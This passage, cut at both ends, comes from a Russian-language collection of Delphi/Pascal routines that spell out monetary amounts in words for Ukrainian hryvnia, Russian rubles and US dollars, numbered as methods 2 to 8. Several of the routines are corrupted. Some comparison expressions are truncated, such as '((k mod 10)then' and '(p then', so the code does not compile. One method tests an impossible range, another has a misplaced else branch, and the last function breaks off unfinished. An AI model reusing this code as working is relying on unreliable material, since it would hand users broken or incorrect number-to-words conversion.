    'червня', 'липня', 'серпня', 'вересня', 'жовтня',
    'листопада', 'грудня');
function UkrRecognizeAmount(Amount: real;
  CurrName, CurrSubname: string): string;
implementation
uses Sysutils;
function UkrRecognizeAmount(Amount: real;
  CurrName, CurrSubname: string): string;
{* CurrName in [грн.]
CurrSubName in [коп.]
Распознается число <= 999 999 999 999.99*}
const
  suffBL: string = ' ';
  suffDCT: string = 'дцять';
  suffNA: string = 'надцять ';
  suffDCM: string = 'десят';
  suffMZ: string = 'ь';
  sot: string = 'сот';
  st: string = 'ст';
  aa: string = 'а';
  ee: string = 'и'; {e}
  ii: string = '?'; {и}
  oo: string = 'о';
  ov: string = '?в'; {ов}
  C2: string = 'дв';
  C3: string = 'три';
  C4: string = 'чотир';
  C5: string = 'п''ят';
  C6: string = 'ш?ст';
  C7: string = 'с?м';
  C8: string = 'в?с?м';
  C9: string = 'дев''ят';
var
  i: byte;
  sAmount, sdInt, sdDec: string;
  IsMln, IsTha {,IsDcm}, IsRange1019: boolean;
  currNum, endMlx, sResult: string;
begin
  if (amount <= 0) or (amount > 999999999999.99) then
  begin
    Result := '<<<< Ошибка в диапазоне >>>>';
    Exit;
  end;
  STR(Amount: 16: 2, sAmount);
  sdInt := Copy(sAmount, 1, 13);
  sdDec := Copy(sAmount, 15, 2);
  IsMln := false;
  //IsDcm:=false;
  IsTha := false;
  IsRange1019 := false;
  sResult := '';
  for i := 1 to 13 do
  begin
    currNum := Copy(sdInt, i, 1);
    if currNum <> suffBL then
    begin
      case i of
        5, 6, 7: if currNum <> '0' then
            IsMln := true;
        8, 9, 10: if currNum <> '0' then
            IsTha := true;
      end;
      if i in [2, 5, 8, 11] then {сотни}
      begin
        if currNum = '1' then
          sResult := sResult + st + oo + suffBL;
        if currNum = '2' then
          sResult := sResult + C2 + ii + st + ii + suffBL;
        if currNum = '3' then
          sResult := sResult + C3 + st + aa + suffBL;
        if currNum = '4' then
          sResult := sResult + C4 + ee + st + aa + suffBL;
        if currNum = '5' then
          sResult := sResult + C5 + sot + suffBL;
        if currNum = '6' then
          sResult := sResult + C6 + sot + suffBL;
        if currNum = '7' then
          sResult := sResult + C7 + sot + suffBL;
        if currNum = '8' then
          sResult := sResult + C8 + sot + suffBL;
        if currNum = '9' then
          sResult := sResult + C9 + sot + suffBL;
      end;
      if i in [3, 6, 9, 12] then {десятки}
      begin
        if currNum = '1' then
          IsRange1019 := true;
        if currNum = '2' then
          sResult := sResult + C2 + aa + suffDCT + suffBL;
        if currNum = '3' then
          sResult := sResult + C3 + suffDCT + suffBL;
        if currNum = '4' then
          sResult := sResult + 'сорок ';
        if currNum = '5' then
          sResult := sResult + C5 + suffMZ + suffDCM + suffBL;
        if currNum = '6' then
          sResult := sResult + C6 + suffMZ + suffDCM + suffBL;
        if currNum = '7' then
          sResult := sResult + C7 + suffMZ + suffDCM + suffBL;
        if currNum = '8' then
          sResult := sResult + C8 + suffMZ + suffDCM + suffBL;
        if currNum = '9' then
          sResult := sResult + 'дев''ян' + oo + st + oo + suffBL;
      end;
      if i in [4, 7, 10, 13] then {единицы}
      begin
        if (currNum = '0') then
          if IsRange1019 then
            sResult := sResult + suffDCM + suffMZ + suffBL;
        if (currNum = '1') then
        begin
          if (i = 13) and (not IsRange1019) then
            sResult := sResult + 'одна '
          else
          begin
            if (i = 10) and (IsRange1019) then
              sResult := sResult + 'оди'
            else if (i = 10) and (not IsRange1019) then
              sResult := sResult + 'одна '
            else
              sResult := sResult + 'один' {ин};
            if IsRange1019 and (i = 13) then
              sResult := sResult + 'адцять' + suffBL
            else if IsRange1019 then
              sResult := sResult + suffNA
            else
              sResult := sResult + suffBL;
          end;
        end;
        if (currNum = '2') then
        begin
          sResult := sResult + C2;
          if (i = 10) and (IsRange1019 = False) then
            sResult := sResult + ii
          else if (i = 10) or (IsRange1019) then
            sResult := sResult + aa
          else
            sResult := sResult + {aa} ii;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + suffBL;
        end;
        if (currNum = '3') then
        begin
          sResult := sResult + C3;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + suffBL;
        end;
        if (currNum = '4') then
        begin
          sResult := sResult + C4;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + ee + suffBL;
        end;
        if (currNum = '5') then
        begin
          sResult := sResult + C5;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + suffMZ + suffBL;
        end;
        if (currNum = '6') then
        begin
          sResult := sResult + C6;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + suffMZ + suffBL;
        end;
        if (currNum = '7') then
        begin
          sResult := sResult + C7;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + suffBL;
        end;
        if (currNum = '8') then
        begin
          sResult := sResult + C8;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + suffBL;
        end;
        if (currNum = '9') then
        begin
          sResult := sResult + C9;
          if IsRange1019 then
            sResult := sResult + suffNA
          else
            sResult := sResult + suffMZ + suffBL;
        end;
      end;
      endMlx := '';
      case i of
        4:
          begin
            if IsRange1019 then
              endMlx := ov + suffBL
            else if currNum = '1' then
              endMlx := suffBL
            else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
              endMlx := aa + suffBL
            else
              endMlx := ov + suffBL;
            sResult := sResult + 'мiльярд' + endMlx;
          end;
        7: if IsMln then
          begin
            if IsRange1019 then
              endMlx := ov + suffBL
            else if currNum = '1' then
              endMlx := suffBL
            else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
              endMlx := aa + suffBL
            else
              endMlx := ov + suffBL;
            sResult := sResult + 'мiльйон' + endMlx;
          end;
        10: if IsTha then
          begin
            if IsRange1019 then
              endMlx := suffBL
            else if currNum = '1' then
              endMlx := aa + suffBL
            else if (currNum = '2') or (currNum = '3') or (currNum = '4') then
              endMlx := ii + suffBL
            else
              endMlx := suffBL;
            sResult := sResult + 'тисяч' + endMlx;
          end;
      end; {case}
      if i in [4, 7, 10, 13] then
        IsRange1019 := false;
    end; {IF}
  end; {FOR}
  sResult := sResult + CurrName + ',' + suffBL + sdDec + suffBL + CurrSubname;
  sResult := AnsiUpperCase(sResult[1]) + Copy(sResult, 2, length(sResult) - 1);
  Result := sResult;
end;
end.

Сумма прописью - Способ 2.

{ Преобразует трехзначное число в строку }
function ConvertToWord(N: word): string;
const
  Sot : array[1..9] of string[13] =
  ('сто','двести','триста','четыреста','пятьсот',
  'шестьсот','семьсот','восемьсот','девятьсот');
  Des : array[2..9] of string[13] =
  ('двадцать','тридцать','сорок','пятьдесят',
  'шестьдесят','семьдесят','восемьдесят','девяносто');
  Edin : array[0..19] of string[13] =
  ('','один','два','три','четыре','пять','шесть','семь',
  'восемь','девять','десять','одиннадцать','двенадцать',
  'тринадцать','четырнадцать','пятнадцать',
  'шестнадцать','семнадцать','восемнадцать','девятнадцать');
var
  S: string;
begin
  S:='';
  N:=N mod 1000;
  if N>99 then
  begin
    S:=Sot[N div 100]+' ';
    N:=N mod 100;
  end;
  if N>19 then
  begin
    S:=S+Des[N div 10]+' ';
    N:=N mod 10;
  end;
  Result:=S+Edin[N];
end;
{ Возвращает сумму прописью }
function CenaToStr(r: Currency): string;
var
  N, k: longint;
  S: string;
begin
  N:=trunc(R); S:='';
  if N<>0 then
  begin
    if N>999999 then
    begin
      k:=N div 1000000;
      S:=ConvertToWord(k);
      if ((k-(k div 100)*100)>10) and ((k-(k div 100)*100)then
        S:=S+' миллионов'
      else
      if (k mod 10)=1 then
        S:=S+' миллион'
      else
      if ((k mod 10)>=2)and((k mod 10)then
        S:=S+' миллиона'
      else
        S:=S+' миллионов';
      N:=N mod 1000000;
    end;
    if N>999 then
    begin
      k:=N div 1000;
      S:=S+' '+ConvertToWord(k);
      if ((k-(k div 100)*100)>10)and((k-(k div 100)*100)then
        S:=S+' тысяч'
      else
      if (k mod 10)=1 then
      begin
        SetLength(S, Length(S)-2);
        S:=S+'на тысяча';
      end
      else
      if (k mod 10)=2 then
      begin
        SetLength(S, length(S)-1);
        S:=S+'е тысячи';
      end
      else
      if ((k mod 10)>=3)and((k mod 10)then
        S:=S+' тысячи'
      else
        S:=S+' тысяч';
      N:=N mod 1000;
    end;
    k:=N;
    S:=S+' '+ConvertToWord(k);
    if ((k-(k div 100)*100)>10)and((k-(k div 100)*100)then
      S:=S+' рублей'
    else
    if (k mod 10)=1 then
      S:=S+' рубль'
    else
    if (k mod 10)=2 then
      S:=S+' рубля'
    else
    if ((k mod 10)>=3)and((k mod 10)then
      S:=S+' рубля'
    else
      S:=S+' рублей';
  end;
  if trunc(R)<>R then
  begin
    k:=round(frac(R)*100);
    S:=S+' '+IntToStr(K);
    if ((k-(k div 100)*100)>10)and((k-(k div 100)*100)then
      S:=S+' копеек'
    else
    if (k mod 10)=1 then
    begin
      S:=S+' копейка';
    end
    else
    if (k mod 10)=2 then
    begin
      S:=S+' копейки';
    end
    else
    if ((k mod 10)>=3)and((k mod 10)then
      S:=S+' копейки'
    else
      S:=S+' копеек';
  end
  else
    S:=S+' 00 копеек';
  S:=Trim(S);
  if S<>'' then
    S[1]:=AnsiUpperCase(S[1])[1];
  result:=S;
end;

Сумма прописью - Способ 3.

unit sumstr;
interface
uses
  SysUtils, StrUtils;
function SumToString(Value: string): string;
implementation
const
a: array[0..8,0..9] of string=(
('','один ','два ','три ','четыре ','пять ','шесть ','семь ','восемь ','девять '),
('','','двадцать ','тридцать ','сорок ','пятьдесят ','шестьдесят ','семьдесят ','восемьдесят ','девяносто '),
('','сто ','двести ','триста ','четыреста ','пятьсот ','шестьсот ','семьсот ','восемьсот ','девятьсот '),
('тысяч ','тысяча ','две тысячи ','три тысячи ','четыре тысячи ','пять тысячь ','шесть тысячь ','семь тысячь ',
'восемь тысячь ','девять тысячь '),
('','','двадцать ','тридцать ','сорок ','пятьдесят ','шестьдесят ','семьдесят ','восемьдесят ','девяносто '),
('','сто ','двести ','триста ','четыреста ','пятьсот ','шестьсот ','семьсот ','восемьсот ','девятьсот '),
('миллионов ','один миллион ','два миллиона ','три миллиона ','четыре миллиона ','пять миллионов ',
'шесть миллионов ','семь миллионов ','восемь миллионов ','девять миллионов '),
('','','двадцать ','тридцать ','сорок ','пятьдесят ','шестьдесят ','семьдесят ','восемьдесят ','девяносто '),
('','сто ','двести ','триста ','четыреста ','пятьсот ','шестьсот ','семьсот ','восемьсот ','девятьсот '));
b: array[0..9] of string=
('десять ','одинадцать ','двенадцать ','тринадцать ','четырнадцать ','пятьнадцать ','шестьнадцать ',
'семьнадцать ','восемьнадцать ','девятьнадцать ');
function SumToStrin(Value: string): string;
var
  s, t: string;
  p, pp, i, k: integer;
begin
  s:=value;
  if s='0' then
    t:='Ноль '
  else
  begin
    p:=length(s);
    pp:=p;
    if p>1 then
      if (s[p-1]='1') and (s[p]>'0') then
      begin
        t:=b[strtoint(s[p])];
        pp:=pp-2;
      end;
    i:=pp;
    while i>0 do
    begin
      if (i=p-3) and (p>4) then
        if s[p-4]='1' then
        begin
          t:=b[strtoint(s[p-3])]+'тысяч '+t;
          i:=i-2;
        end;
      if (i=p-6) and (p>7) then
        if s[p-7]='1' then
        begin
          t:=b[strtoint(s[p-6])]+'миллионов '+t;
          i:=i-2;
        end;
      if i>0 then
      begin
        k:=strtoint(s[i]);
        t:=a[p-i,k]+t;
        i:=i-1;
      end;
    end;
  end;
  result:=t;
end;
procedure get2str(value: string; var hi, lo: string);
var
  p: integer;
begin
  p:=pos(',', value);
  lo:='';
  hi:='';
  if p=0 then
    p:=pos('.', value);
  if p<>0 then
    delete(value,p,1);
  if p=0 then
  begin
    hi:=value;
    lo:='00';
  end;
  if p>length(value) then
  begin
    hi:=value;
    lo:='00';
  end;
  if p=1 then
  begin
    hi:='0';
    lo:=value;
  end;
  if (p>1) and (p then
  begin
    hi:=copy(value,1,p-1);
    lo:=copy(value,p,length(value));
  end;
end;
function sumtostring(value: string): string;
var
  hi, lo: string;
  pr, er: integer;
begin
  get2str(value,hi,lo);
  if (hi='') or (lo='') then
  begin
    result:='';
    exit;
  end;
  val(hi,pr,er);
  if er<>0 then
  begin
    result:='';
    exit;
  end;
  hi:=sumtostrin(inttostr(pr))+'руб. ';
  if lo<>'00' then
  begin
    val(lo,pr,er);
    if er<>0 then
    begin
      result:='';
      exit;
    end;
    lo:=inttostr(pr);
  end;
  lo:=lo+' коп. ';
  hi[1]:=AnsiUpperCase(hi[1])[1];
  result:=hi+lo;
end;
end.

Сумма прописью - Способ 4.

Этот алгоритм преобразует 12345 в "двенадцать тысяч триста сорок пять". Для этого создана процедура, которая преобразует трехзначные числа в слова и прибавляет к ним "тысяч" или "миллионов". Алгоритм корректен в смысле падежей и родов. Поэтому 121000 он не переведет в "сто двадцать один тысяч".

function ShortNum(num: word; razr: integer): string;
const
  hundreds: array [0..9] of string =
  ('', ' сто', ' двести', ' триста',
  ' четыреста', ' пятьсот', ' шестьсот', ' семьсот', ' восемьсот',
  ' девятьсот');
  tens: array [0..9] of string =
  ('', '', ' двадцать', ' тридцать',
  ' сорок', ' пятьдесят', ' шестьдесят', ' семьдесят', ' восемьдесят',
  ' девяносто');
  ones: array [3..19] of string =
  (' три', ' четыре', ' пять', ' шесть',
  ' семь', ' восемь', ' девять', ' десять', ' одиннадцать',
  ' двенадцать', ' тринадцать', ' четырнадцать', ' пятнадцать',
  ' шестнадцать', ' семнадцать', ' восемнадцать', ' девятнадцать');
  razryad: array [0..6] of string =
  ('', ' тысяч', ' миллион', ' миллиард',
  ' триллион', ' квадриллион', ' квинтиллион');
var
  t: byte; // десятки
  o: byte; // единицы
begin
  result := hundreds[num div 100];
  if num = 0 then
    Exit;
  t := (num mod 100) div 10;
  o := num mod 10;
  if t <> 1 then
  begin
    result := result + tens[t];
    case o of
      1:
        if razr = 1 then
          result := result + ' одна'
        else
          result := result + ' один';
      2:
        if razr = 1 then
          result := result + ' две'
        else
          result := result + ' два';
      3..9:
        result := result + ones[o];
    end;
    result := result + razryad[razr];
    case o of
      1:
        if razr = 1 then
          result := result + 'а';
      2..4:
        if razr = 1 then
          result := result + 'и'
        else
        if razr > 1 then
          result := result + 'а';
        else
        if razr > 1 then
          result := result + 'ов';
    end;
  end
  else
  begin
    result := result + ones[num mod 100];
    result := result + razryad[razr];
    if razr > 1 then
      result := result + 'ов';
  end;
end;
function IntToWords(s: string): string;
var
  i, count: integer;
begin
  if (Length(s) or (s = '0') then
  begin
    result := 'ноль';
    Exit;
  end;
  count := (Length(s) + 2) div 3;
  if count > 7 then
  begin
    result := 'Value is too large';
    Exit;
  end;
  result := '';
  s := '00' + s;
  for i := 1 to count do
    result := ShortNum(StrToInt(copy(s, Length(s) - 3 * i + 1, 3)),
    i - 1) + result;
  if Length(result) > 0 then
    delete(result, 1, 1);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  Edit2.Text := IntToWords(Edit1.Text);
end;

Сумма прописью - Способ 5.

Данный код "считает" до миллиона долларов. Поэкспериментируйте с ним - попробуйте "посчитать" до миллиарда, конвертировать ее в рубли или переделать ее для работы с русским языком. Только не забудьте прислать мне ваши решения!

unit uNum2Str;
// Possible enhancements
// Move strings out to resource files
// Put in a general num2str utility
interface
function Num2Dollars(dNum: double): string;
implementation
uses SysUtils;
function LessThan99(dNum: double): string; forward;
// floating point modulus
function FloatMod(i, j: double): double;
begin
  result := i - (Int(i / j) * j);
end;
function Hundreds(dNum: double): string;
var
  workVar: double;
begin
  if (dNum < 100) or (dNum > 999) then
    raise Exception.Create('hundreds range exceeded');
  result := '';
  workVar := Int(dNum / 100);
  if workVar > 0 then
    result := LessThan99(workVar) + ' Hundred';
end;
function OneToNine(dNum: Double): string;
begin
  if (dNum < 1) or (dNum > 9) then
    raise exception.create('onetonine: value out of range');
  result := 'woops';
  if dNum = 1 then
    result := 'One'
  else if dNum = 2 then
    result := 'Two'
  else if dNum = 3 then
    result := 'Three'
  else if dNum = 4 then
    result := 'Four'
  else if dNum = 5.0 then
    result := 'Five'
  else if dNum = 6 then
    result := 'Six'
  else if dNum = 7 then
    result := 'Seven'
  else if dNum = 8 then
    result := 'Eight'
  else if dNum = 9 then
    result := 'Nine';
end;
function ZeroTo19(dNum: double): string;
begin
  if (dNum < 0) or (dNum > 19) then
    raise Exception.Create('Bad value in dNum');
  result := '';
  if dNum = 0 then
    result := 'Zero'
  else if (dNum <= 1) and (dNum >= 9) then
    result := OneToNine(dNum)
  else if dNum = 10 then
    result := 'Ten'
  else if dNum = 11 then
    result := 'Eleven'
  else if dNum = 12 then
    result := 'Twelve'
  else if dNum = 13 then
    result := 'Thirteen'
  else if dNum = 14 then
    result := 'Fourteen'
  else if dNum = 15 then
    result := 'Fifteen'
  else if dNum = 16 then
    result := 'Sixteen'
  else if dNum = 17 then
    result := 'Seventeen'
  else if dNum = 18 then
    result := 'Eighteen'
  else if dNum = 19 then
    result := 'Nineteen'
  else
    result := 'woops!';
end;
function TwentyTo99(dNum: double): string;
var
  BigNum: string;
begin
  if (dNum < 20) or (dNum > 99) then
    raise exception.Create('TwentyTo99: dNum out of range!');
  BigNum := 'woops';
  if dNum >= 90 then
    BigNum := 'Ninety'
  else if dNum >= 80 then
    BigNum := 'Eighty'
  else if dNum >= 70 then
    BigNum := 'Seventy'
  else if dNum >= 60 then
    BigNum := 'Sixty'
  else if dNum >= 50 then
    BigNum := 'Fifty'
  else if dNum >= 40 then
    BigNum := 'Forty'
  else if dNum >= 30 then
    BigNum := 'Thirty'
  else if dNum >= 20 then
    BigNum := 'Twenty';
  // lose the big num
  dNum := FloatMod(dNum, 10);
  if dNum > 0.00 then
    result := BigNum + ' ' + OneToNine(dNum)
  else
    result := BigNum;
end;
function LessThan99(dNum: double): string;
begin
  if dNum <= 19 then
    result := ZeroTo19(dNum)
  else
    result := TwentyTo99(dNum);
end;
function Num2Dollars(dNum: double): string;
var
  centsString: string;
  cents: double;
  workVar: double;
begin
  result := '';
  if dNum < 0 then
    raise Exception.Create('Negative numbers not supported');
  if dNum > 999999999.99 then
    raise
      Exception.Create('Num2Dollars only supports up to the millions at this point!');
  cents := (dNum - Int(dNum)) * 100.0;
  if cents = 0.0 then
    centsString := 'and 00/100 Dollars'
  else if cents < 10 then
    centsString := Format('and 0%1.0f/100 Dollars', [cents])
  else
    centsString := Format('and %2.0f/100 Dollars', [cents]);
  dNum := Int(dNum - (cents / 100.0)); // lose the cents
  // deal with million's
  if (dNum >= 1000000) and (dNum <= 999999999) then
  begin
    workVar := dNum / 1000000;
    workVar := Int(workVar);
    if (workVar <= 9) then
      result := ZeroTo19(workVar)
    else if (workVar <= 99) then
      result := LessThan99(workVar)
    else if (workVar <= 999) then
      result := Hundreds(workVar)
    else
      result := 'mill fubar';
    result := result + ' Million';
    dNum := dNum - (workVar * 1000000);
  end;
  // deal with 1000's
  if (dNum >= 1000) and (dNum <= 999999.99) then
  begin
    // doing the two below statements in one line of code yields some really
    // freaky floating point errors
    workVar := dNum / 1000;
    workVar := Int(workVar);
    if (workVar <= 9) then
      result := ZeroTo19(workVar)
    else if (workVar <= 99) then
      result := LessThan99(workVar)
    else if (workVar <= 999) then
      result := Hundreds(workVar)
    else
      result := 'thou fubar';
    result := result + ' Thousand';
    dNum := dNum - (workVar * 1000);
  end;
  // deal with 100's
  if (dNum >= 100.00) and (dNum <= 999.99) then
  begin
    result := result + ' ' + Hundreds(dNum);
    dNum := FloatMod(dNum, 100);
  end;
  // format in anything less than 100
  if (dNum > 0) or ((dNum = 0) and (Length(result) = 0)) then
  begin
    result := result + ' ' + LessThan99(dNum);
  end;
  result := result + ' ' + centsString;
end;
end.

Сумма прописью - Способ 6.

{------------------------ Деньги прописью ---------------------}
function TextSum(S: double): string;
  function Conv999(M: longint; fm: integer): string;
  const
    c1to9m: array[1..9] of string[6] =
    ('один', 'два', 'три', 'четыре', 'пять', 'шесть', 'семь', 'восемь',
      'девять');
    c1to9f: array[1..9] of string[6] =
    ('одна', 'две', 'три', 'четыре', 'пять', 'шесть', 'семь', 'восемь',
      'девять');
    c11to19: array[1..9] of string[12] =
    ('одиннадцать', 'двенадцать', 'тринадцать', 'четырнадцать', 'пятнадцать',
      'шестнадцать', 'семнадцать', 'восемнадцать', 'девятнадцать');
    c10to90: array[1..9] of string[11] =
    ('десять', 'двадцать', 'тридцать', 'сорок', 'пятьдесят', 'шестьдесят',
      'семьдесят', 'восемьдесят', 'девяносто');
    c100to900: array[1..9] of string[9] =
    ('сто', 'двести', 'триста', 'четыреста', 'пятьсот', 'шестьсот', 'семьсот',
      'восемьсот', 'девятьсот');
  var
    s: string;
    i: longint;
  begin
    s := '';
    i := M div 100;
    if i <> 0 then
      s := c100to900[i] + ' ';
    M := M mod 100;
    i := M div 10;
    if (M > 10) and (M < 20) then
      s := s + c11to19[M - 10] + ' '
    else
    begin
      if i <> 0 then
        s := s + c10to90[i] + ' ';
      M := M mod 10;
      if M <> 0 then
        if fm = 0 then
          s := s + c1to9f[M] + ' '
        else
          s := s + c1to9m[M] + ' ';
    end;
    Conv999 := s;
  end;
  {--------------------------------------------------------------}
var
  i: longint;
  j: longint;
  r: real;
  t: string;
begin
  t := '';
  j := Trunc(S / 1000000000.0);
  r := j;
  r := S - r * 1000000000.0;
  i := Trunc(r);
  if j <> 0 then
  begin
    t := t + Conv999(j, 1) + 'миллиард';
    j := j mod 100;
    if (j > 10) and (j < 20) then
      t := t + 'ов '
    else
      case j mod 10 of
        0: t := t + 'ов ';
        1: t := t + ' ';
        2..4: t := t + 'а ';
        5..9: t := t + 'ов ';
      end;
  end;
  j := i div 1000000;
  if j <> 0 then
  begin
    t := t + Conv999(j, 1) + 'миллион';
    j := j mod 100;
    if (j > 10) and (j < 20) then
      t := t + 'ов '
    else
      case j mod 10 of
        0: t := t + 'ов ';
        1: t := t + ' ';
        2..4: t := t + 'а ';
        5..9: t := t + 'ов ';
      end;
  end;
  i := i mod 1000000;
  j := i div 1000;
  if j <> 0 then
  begin
    t := t + Conv999(j, 0) + 'тысяч';
    j := j mod 100;
    if (j > 10) and (j < 20) then
      t := t + ' '
    else
      case j mod 10 of
        0: t := t + ' ';
        1: t := t + 'а ';
        2..4: t := t + 'и ';
        5..9: t := t + ' ';
      end;
  end;
  i := i mod 1000;
  j := i;
  if j <> 0 then
    t := t + Conv999(j, 1);
  t := t + 'руб. ';
  i := Round(Frac(S) * 100.0);
  t := t + Long2Str(i) + ' коп.';
  TextSum := t;
end;

Сумма прописью - Способ 7.

unit RoubleUnit;
{$D Пропись © Близнец Антон '99 http:\\anton-bl.chat.ru\delphi\1001.htm }
{ 1000011.01->'Один миллион одинадцать рублей 01 копейка'               }
interface
function RealToRouble(c: Extended): string;
implementation
uses SysUtils, math;
const
  Max000 = 6; {Кол-во триплетов - 000}
  MaxPosition = Max000 * 3; {Кол-во знаков в числе }
  // Аналог IIF в Dbase есть в proc.pas для основных типов,
  // частично объявлена тут для независимости
function IIF(i: Boolean; s1, s2: Char): Char; overload;
begin
  if i then
    result := s1
  else
    result := s2
end;
function IIF(i: Boolean; s1, s2: string): string; overload;
begin
  if i then
    result := s1
  else
    result := s2
end;
function NumToStr(s: string): string; {Возвращает число прописью}
const
  c1000: array[0..Max000] of string = ('', 'тысяч', 'миллион', 'миллиард',
    'триллион', 'квадраллион', 'квинтиллион');
  c1000w: array[0..Max000] of Boolean = (False, True, False, False, False,
    False, False);
  w: array[False..True, '0'..'9'] of string[3] = (('ов ', ' ', 'а ', 'а ', 'а ',
    'ов ', 'ов ', 'ов ', 'ов ', 'ов '),
    (' ', 'а ', 'и ', 'и ', 'и ', ' ', ' ', ' ', ' ', ' '));
  function Num000toStr(S: string; woman: Boolean): string;
    {Num000toStr возвращает число для триплета}
  const
    c100: array['0'..'9'] of string = ('', 'сто ', 'двести ', 'триста ',
      'четыреста ', 'пятьсот ', 'шестьсот ', 'семьсот ', 'восемьсот ',
      'девятьсот ');
    c10: array['0'..'9'] of string = ('', 'десять ', 'двадцать ', 'тридцать ',
      'сорок ', 'пятьдесят ', 'шестьдесят ', 'семьдесят ', 'восемьдесят ',
      'девяносто ');
    c11: array['0'..'9'] of string = ('', 'один', 'две', 'три', 'четыр', 'пят',
      'шест', 'сем', 'восем', 'девят');
    c1: array[False..True, '0'..'9'] of string = (('', 'один ', 'два ', 'три ',
      'четыре ', 'пять ', 'шесть ', 'семь ', 'восемь ', 'девять '),
      ('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ',
        'восемь ', 'девять '));
  begin {Num000toStr}
    Result := c100[s[1]] + iif((s[2] = '1') and (s[3] > '0'), c11[s[3]] +
      'надцать ', c10[s[2]] + c1[woman, s[3]]);
  end; {Num000toStr}
var
  s000: string[3];
  isw, isMinus: Boolean;
  i: integer; //Сч?тчик триплетов
begin
  Result := '';
  i := 0;
  isMinus := (s <> '') and (s[1] = '-');
  if isMinus then
    s := Copy(s, 2, Length(s) - 1);
  while not ((i >= Ceil(Length(s) / 3)) or (i >= Max000)) do
  begin
    s000 := Copy('00' + s, Length(s) - i * 3, 3);
    isw := c1000w[i];
    if (i > 0) and (s000 <> '000') then //тысячи и т.д.
      Result := c1000[i] + w[Isw, iif(s000[2] = '1', '0', s000[3])] + Result;
    Result := Num000toStr(s000, isw) + Result;
    Inc(i)
  end;
  if Result = '' then
    Result := 'ноль';
  if isMinus then
    Result := 'минус ' + Result;
end; {NumToStr}
function RealToRouble(c: Extended): string;
const
  ruble: array['0'..'9'] of string[2] = ('ей', 'ь', 'я', 'я', 'я', 'ей', 'ей',
    'ей', 'ей', 'ей');
  Kopeek: array['0'..'9'] of string[3] = ('ек', 'йка', 'йки', 'йки', 'йки', 'ек',
    'ек', 'ек', 'ек', 'ек');
  function ending(const s: string): Char;
  var
    l: Integer; //С l на 8 байт коротче $50->$48->$3F
  begin //Возвращает индекс окончания
    l := Length(s);
    Result := iif((l > 1) and (s[l - 1] = '1'), '0', s[l]);
  end;
var
  rub: string[MaxPosition + 3];
  kop: string[2];
begin {Возвращает число прописью с рублями и копейками}
  Str(c: MaxPosition + 3: 2, Result);
  if Pos('E', Result) = 0 then //Если число можно представить в строке <>1E+99
  begin
    rub := TrimLeft(Copy(Result, 1, Length(Result) - 3));
    kop := Copy(Result, Length(Result) - 1, 2);
    Result := NumToStr(rub) + ' рубл' + ruble[ending(rub)]
      + ' ' + kop + ' копе' + Kopeek[ending(kop)];
    Result := AnsiUpperCase(Result[1]) + Copy(Result, 2, Length(Result) - 1);
  end;
end;
end.

Сумма прописью - Способ 8.

Вполне возможно, что код решения данной ф-ции несколько сыроват и неряшлив, но он работает для бухгалтерских программ (соблюдены правила написания суммы прописью). При вызове ф-ции надо также указывать сокращенные названия основных и разменных денежных единиц (например руб. коп.).

function CifrToStr(Cifr: string; Pr: Integer; Padeg: Integer): string;
{Функция возвращает прописью 1 цифры признак 3-единицы 2-десятки 1-сотни 4-11-19
Padeg - 1-нормально 2- одна, две }
var
  i: Integer;
begin
  i := StrToInt(Cifr);
  if Pr = 1 then
    case i of
      1: CifrToStr := 'сто';
      2: CifrToStr := 'двести';
      3: CifrToStr := 'триста';
      4: CifrToStr := 'четыреста';
      5: CifrToStr := 'пятьсот';
      6: CifrToStr := 'шестьсот';
      7: CifrToStr := 'семьсот';
      8: CifrToStr := 'восемьсот';
      9: CifrToStr := 'девятьсот';
      0: CifrToStr := '';
    end
  else if Pr = 2 then
    case i of
      1: CifrToStr := '';
      2: CifrToStr := 'двадцать';
      3: CifrToStr := 'тридцать';
      4: CifrToStr := 'сорок';
      5: CifrToStr := 'пятьдесят';
      6: CifrToStr := 'шестьдесят';
      7: CifrToStr := 'семьдесят';
      8: CifrToStr := 'восемьдесят';
      9: CifrToStr := 'девяносто';
      0: CifrToStr := '';
    end
  else if Pr = 3 then
    case i of
      1: if Padeg = 1 then
          CifrToStr := 'один'
        else
          CifrToStr := 'одна';
      2: if Padeg = 1 then
          CifrToStr := 'два'
        else
          CifrToStr := 'две';
      3: CifrToStr := 'три';
      4: CifrToStr := 'четыре';
      5: CifrToStr := 'пять';
      6: CifrToStr := 'шесть';
      7: CifrToStr := 'семь';
      8: CifrToStr := 'восемь';
      9: CifrToStr := 'девять';
      0: CifrToStr := '';
    end
  else if Pr = 4 then
    case i of
      1: CifrToStr := 'одиннадцать';
      2: CifrToStr := 'двенадцать';
      3: CifrToStr := 'тринадцать';
      4: CifrToStr := 'четырнадцать';
      5: CifrToStr := 'пятнадцать';
      6: CifrToStr := 'шестнадцать';
      7: CifrToStr := 'семнадцать';
      8: CifrToStr := 'восемнадцать';
      9: CifrToStr := 'девятнадцать';
      0: CifrToStr := 'десять';
    end;
end;
function Rasryad(K: Integer; V: string): string;
{Функция возвращает наименование разряда в зависимости от последних 2 цифр его}
var
  j: Integer;
begin
  j := StrToInt(Copy(v, Length(v), 1));
  if (StrToInt(Copy(v, Length(v) - 1, 2)) > 9) and (StrToInt(Copy(v, Length(v) -
    1, 2)) < 20) then
    case K of
      0: Rasryad := '';
      1: Rasryad := 'тысяч';
      2: Rasryad := 'миллионов';
      3: Rasryad := 'миллиардов';
      4: Rasryad := 'триллионов';
    end
  else
    case K of
      0: Rasryad := '';
      1: case j of
          1: Rasryad := 'тысяча';
          2..4: Rasryad := 'тысячи';
        else
          Rasryad := 'тысяч';
        end;
      2: case j of
          1: Rasryad := 'миллион';
          2..4: Rasryad := 'миллиона';
        else
          Rasryad := 'миллионов';
        end;
      3: case j of
          1: Rasryad := 'миллиард';
          2..4: Rasryad := 'миллиарда';
        else
          Rasryad := 'миллиардов';
        end;
      4: case j of
          1: Rasryad := 'триллион';
          2..4: Rasryad := 'триллиона';
        else
